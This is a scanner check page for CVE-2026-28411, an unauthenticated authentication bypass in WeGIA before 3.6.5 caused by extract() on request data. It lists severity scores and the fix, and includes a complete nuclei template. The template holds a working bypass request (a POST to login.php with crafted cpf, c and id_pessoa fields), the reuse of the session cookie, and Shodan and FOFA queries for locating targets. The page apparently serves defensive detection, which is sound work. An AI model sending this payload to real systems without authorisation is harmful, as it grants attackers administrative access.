WeGIA < 3.6.5 - Unauthenticated Authentication Bypass via extract()

criticalseverity

9.8CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

WeGIA < 3.6.5 contains an authentication bypass caused by unsafe use of extract() on $_REQUEST, letting unauthenticated attackers bypass authentication and access protected areas, exploit requires no authentication.

Impact

Unauthenticated attackers can bypass authentication and gain unauthorized administrative access.

Fix

Upgrade to version 3.6.5 or later.

How to confirm it

Send: POST /WeGIA/html/login.php
Positive when: status_code == 302 and contains(header, "PHPSESSID") and contains(header, "home.php")
Send: GET /WeGIA/html/home.php
Positive when: status_code == 200 and contains_any(tolower(body), "wegia", "menu", "processo", "funcionario") and !contains_any(tolower(body), "login", "cpf", "senha")

Run it with nuclei: nuclei -id CVE-2026-28411 -u <target>

The full check

id: CVE-2026-28411

info:
  name: WeGIA < 3.6.5 - Unauthenticated Authentication Bypass via extract()
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    WeGIA < 3.6.5 contains an authentication bypass caused by unsafe use of extract() on $_REQUEST, letting unauthenticated attackers bypass authentication and access protected areas, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can bypass authentication and gain unauthorized administrative access.
  remediation: |
    Upgrade to version 3.6.5 or later.
  reference:
    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-jg7w-3wg7-4vhh
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28411
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-28411
    epss-score: 0.02699
    epss-percentile: 0.86051
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: labredescefetrj
    product: wegia
    shodan-query: http.html:"WeGIA"
    fofa-query: body="WeGIA"
  tags: cve,cve2026,wegia,auth-bypass,extract,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /WeGIA/html/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cpf=admin&c=true&id_pessoa=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "PHPSESSID")'
          - 'contains(header, "home.php")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /WeGIA/html/home.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "wegia", "menu", "processo", "funcionario")'
          - '!contains_any(tolower(body), "login", "cpf", "senha")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from